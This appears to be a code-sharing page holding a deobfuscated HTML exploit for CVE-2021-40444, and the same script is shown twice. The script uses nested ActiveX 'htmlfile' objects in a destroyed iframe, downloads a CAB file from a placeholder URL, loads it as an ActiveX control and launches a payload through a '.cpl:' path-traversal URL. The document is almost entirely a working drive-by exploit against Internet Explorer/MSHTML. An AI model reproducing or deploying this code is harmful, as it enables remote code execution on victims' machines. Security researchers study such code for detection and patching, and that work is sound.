D4stiny · January 7, 2022 09:13
diff --git a/cve202140444_deobfuscated.html b/cve202140444_deobfuscated.html
 <!DOCTYPE html>
 <html>
 <head>
    <meta http-equiv="Expires" content="-1">
    <meta http-equiv="X-UA-Compatible" content="IE=11">
 </head>
 <body>
    <script>
        var exploit_cab = "[CAB file URL]";

        function exploit() {
            //
            // Create an iframe element.
            //
            var iframe_element = document.createElement("iframe");
            try {
                document.body.appendChild(iframe_element);
            } catch (err) {
                document.documentElement.appendChild(iframe_element);
            }

            //
            // Retrieve the ActiveXObject for the new iframe element.
            //
            var iframe_activex = iframe_element.contentWindow.ActiveXObject;
            var base_activex = new iframe_activex("htmlfile");

            //
            // Initialize and destroy the iframe.
            //
            iframe_element.contentDocument.open().close();
            try {
                document.body.removeChild(iframe_element);
            } catch (err) {
                document.documentElement.removeChild(iframe_element);
            }

            //
            // Initialize the destroyed iframe's ActiveX element.
            //
            base_activex.open().close();

            //
            // Create a nested ActiveX object inside the destroyed iframe.
            // destroyed iframe ->
            //     base ActiveX ->
            //         (this element) nested ActiveX #1
            //
            var activex_nested_1 = new base_activex.Script.ActiveXObject("htmlFile");
            activex_nested_1.open().close();

            //
            // Create another nested ActiveX object inside the previous nested object.
            // destroyed iframe ->
            //     base ActiveX ->
            //         nested ActiveX #1 ->
            //             (this element) nested ActiveX #2
            //
            var activex_nested_2 = new activex_nested_1.Script.ActiveXObject("htmlFile");
            activex_nested_2.open().close();

            //
            // Create another nested ActiveX object inside the previous nested object.
            // destroyed iframe ->
            //     base ActiveX ->
            //         nested ActiveX #1 ->
            //             nested ActiveX #2 ->
            //                 (this element) nested ActiveX #3
            //
            var activex_nested_3 = new activex_nested_2.Script.ActiveXObject("htmlFile");
            activex_nested_3.open().close();

            var cab_request = new XMLHttpRequest();
            cab_request.open("GET", exploit_cab);
            cab_request.send();

            activex_nested_3.Script.document.write("<body>");
            var activex_control = activex_nested_3.Script.document.createElement("object");

            //
            // https://docs.microsoft.com/en-us/cpp/mfc/upgrading-an-existing-activex-control?view=msvc-160#using-the-codebase-tag-with-a-cab-file
            //
            activex_control.setAttribute("codebase", exploit_cab + "#version=5,0,0,0");
            activex_control.setAttribute("classid", "CLSID:deadbeef-cafe-babe-aaaa-deadbeeeeeef");

            //
            // Trigger the CAB file as an ActiveX control.
            //
            activex_nested_3.Script.document.body.appendChild(activex_control);

            //
            // Launch the payload.
            //
            var payload_trigger = new ActiveXObject("htmlfile");
            payload_trigger.Script.location = ".cpl:../../../AppData/Local/Temp/msword.inf";
        }

        exploit();
    </script>
 </body>
 </html>
	<!DOCTYPE html>
	<html>
	<head>
	<meta http-equiv="Expires" content="-1">
	<meta http-equiv="X-UA-Compatible" content="IE=11">
	</head>
	<body>
	<script>
	var exploit_cab = "[CAB file URL]";

	function exploit() {
	//
	// Create an iframe element.
	//
	var iframe_element = document.createElement("iframe");
	try {
	document.body.appendChild(iframe_element);
	} catch (err) {
	document.documentElement.appendChild(iframe_element);
	}

	//
	// Retrieve the ActiveXObject for the new iframe element.
	//
	var iframe_activex = iframe_element.contentWindow.ActiveXObject;
	var base_activex = new iframe_activex("htmlfile");

	//
	// Initialize and destroy the iframe.
	//
	iframe_element.contentDocument.open().close();
	try {
	document.body.removeChild(iframe_element);
	} catch (err) {
	document.documentElement.removeChild(iframe_element);
	}

	//
	// Initialize the destroyed iframe's ActiveX element.
	//
	base_activex.open().close();

	//
	// Create a nested ActiveX object inside the destroyed iframe.
	// destroyed iframe ->
	// base ActiveX ->
	// (this element) nested ActiveX #1
	//
	var activex_nested_1 = new base_activex.Script.ActiveXObject("htmlFile");
	activex_nested_1.open().close();

	//
	// Create another nested ActiveX object inside the previous nested object.
	// destroyed iframe ->
	// base ActiveX ->
	// nested ActiveX #1 ->
	// (this element) nested ActiveX #2
	//
	var activex_nested_2 = new activex_nested_1.Script.ActiveXObject("htmlFile");
	activex_nested_2.open().close();

	//
	// Create another nested ActiveX object inside the previous nested object.
	// destroyed iframe ->
	// base ActiveX ->
	// nested ActiveX #1 ->
	// nested ActiveX #2 ->
	// (this element) nested ActiveX #3
	//
	var activex_nested_3 = new activex_nested_2.Script.ActiveXObject("htmlFile");
	activex_nested_3.open().close();

	var cab_request = new XMLHttpRequest();
	cab_request.open("GET", exploit_cab);
	cab_request.send();

	activex_nested_3.Script.document.write("<body>");
	var activex_control = activex_nested_3.Script.document.createElement("object");

	//
	// https://docs.microsoft.com/en-us/cpp/mfc/upgrading-an-existing-activex-control?view=msvc-160#using-the-codebase-tag-with-a-cab-file
	//
	activex_control.setAttribute("codebase", exploit_cab + "#version=5,0,0,0");
	activex_control.setAttribute("classid", "CLSID:deadbeef-cafe-babe-aaaa-deadbeeeeeef");

	//
	// Trigger the CAB file as an ActiveX control.
	//
	activex_nested_3.Script.document.body.appendChild(activex_control);

	//
	// Launch the payload.
	//
	var payload_trigger = new ActiveXObject("htmlfile");
	payload_trigger.Script.location = ".cpl:../../../AppData/Local/Temp/msword.inf";
	}

	exploit();
	</script>
	</body>
	</html>